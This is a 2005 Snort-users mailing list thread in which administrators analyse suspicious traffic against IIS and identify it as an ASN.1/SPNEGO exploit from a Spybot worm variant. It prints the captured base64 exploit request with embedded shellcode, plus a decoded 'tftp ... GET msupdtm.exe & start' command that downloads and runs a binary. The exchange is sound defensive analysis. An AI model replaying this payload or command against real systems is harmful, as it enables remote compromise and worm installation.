That's it, "cmd /c tftp -i 0.0.0.0 GET msupdtm.exe&start msupdtm.exe&exit"
among other things! Good point ! Thanks
Tudor
stephane nasdrovisky <stephane.nasdrovisky@paradigmo.com>
06/11/2005 12:24 PM
To
TPanaitescu@colorcon.com
cc
Michael Scheidell <scheidell@secnap.net>
Subject
Re: [Snort-users] Unrecognized attack patterns against IIS
Have you tried to base 64 decode this string (
http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/Default.aspx )?
Don't forget the trailing ==.
It looks like http://www.sarc.com/avcenter/venc/data/w32.spybot.pkc.html
The decoded string contains: cmd /c tftp -i 0.0.0.0 GET msupdtm.exe
The worm filename is different in my network neibourhood: cgy32win.exe,
ms-upd.exe & win-logon.exe (98k -111k)
TPanaitescu@colorcon.com wrote:
Seen that too, it seems that it is a newer "patch" from MS for IE, or
IEs configured for this, trying to negotiate authorization using
SPNEGO from the GSS-API. You can see the packets in full if you use a
sniffer in front of that web server, I used ethereal and got the info
below.
Could be an attack also trying to get unauthorized access to a server.
Anyone with another clue ?
ASN.1 attack.
GET / HTTP/1.0
Host: X.X.X.X
Authorization: Negotiate
YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF
BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF
BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQQMAI4IMVwOCBAoAkEKQQpBCkEKBxFTy///86EYAAACLRTyLfAV4Ae+LTxiLXyAB6+MuSYs0iwHuMcCZrITAdAfByg0Bwuv0O1QkBHXji18kAetmiwxLi18cAeuLHIsB64lcJATDMcBki0AwhcB4D4tADItwHK
2LaAjpCwAAAItANAV8AAAAi2g8XzH2YFbrDWjvzuBgaJj+ig5X/+fo7v///2NtZCAvYyB0ZnRwIC1pIDAuMC4wLjAgR0VUIG1zdXBkdG0uZXhlJnN0YXJ0IG1zdXBkdG0uZXhlJmV4aXQAQkJCQkJCQkJCQkJCQkJCQkJC
QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk
